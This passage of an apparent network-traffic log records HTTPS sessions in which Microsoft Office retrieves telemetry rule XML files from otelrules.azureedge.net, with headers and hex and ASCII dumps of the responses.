20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.4	49824	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:04 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:04 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:04 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210704Z-1777c6cb754g9zd5hC1TEBfvpw00000008p000000000tdb3 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:04 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.4	49826	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:04 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:04 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:04 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210704Z-r1d97b99577d6qrbhC1TEBux5s0000000820000000006peb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 21:07:04 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.4	49827	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:04 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:04 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:04 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210704Z-r1d97b99577n4dznhC1TEBc1qw00000007x000000000c61n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-19 21:07:04 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.4	49828	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:04 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:04 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: c363d474-d01e-0028-1b8c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210704Z-r1d97b99577tssmjhC1TEB8kan00000007u0000000008w6e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:04 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.4	49829	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:04 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:04 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210704Z-r1d97b99577d6qrbhC1TEBux5s00000007y000000000ns6a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:04 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.4	49830	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:04 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:04 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210704Z-r1d97b99577hsvhhhC1TEByb1w000000026g000000008232 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:04 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	49831	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:04 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:04 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:04 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210704Z-r1d97b9957744xz5hC1TEB5bf800000007sg00000000bsn4 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:04 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.4	49832	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:04 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:04 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:04 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c9275c76-a01e-000d-7b8c-3ad1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210704Z-r1d97b99577lxltfhC1TEByw2s00000007w000000000haar x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:04 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.4	49833	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:05 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:05 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:05 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: 5a5a1185-c01e-0079-408c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210705Z-1777c6cb7544n7p6hC1TEByvb400000008qg00000000mn4m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:05 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.4	49834	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:05 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:05 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:05 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b47886c8-201e-00aa-0c8c-3a3928000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210705Z-1777c6cb754dqf99hC1TEB5nps00000008h00000000064rr x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:05 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c 6c 4d 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTellMe" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.4	49835	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:05 UTC	192	OUT	GET /rules/rule700401v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:05 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:05 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDCB4853F" x-ms-request-id: eb1e057a-b01e-0097-688c-3a4f33000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210705Z-1777c6cb754gvvgfhC1TEBz4rg00000008m000000000r242 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 21:07:05 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 34 30 31 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700401" V="2" DC="SM" EN="Office.Telemetry.Event.Office.Telemetry.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
101	192.168.2.4	49836	13.107.246.40	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 21:07:05 UTC	192	OUT	GET /rules/rule700400v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 21:07:05 UTC	494	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 21:07:05 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB779FC3" x-ms-request-id: e2992625-501e-005b-678c-3ad7f7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T210705Z-r1d97b99577l6wbzhC1TEB3fwn0000000830000000002z7q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
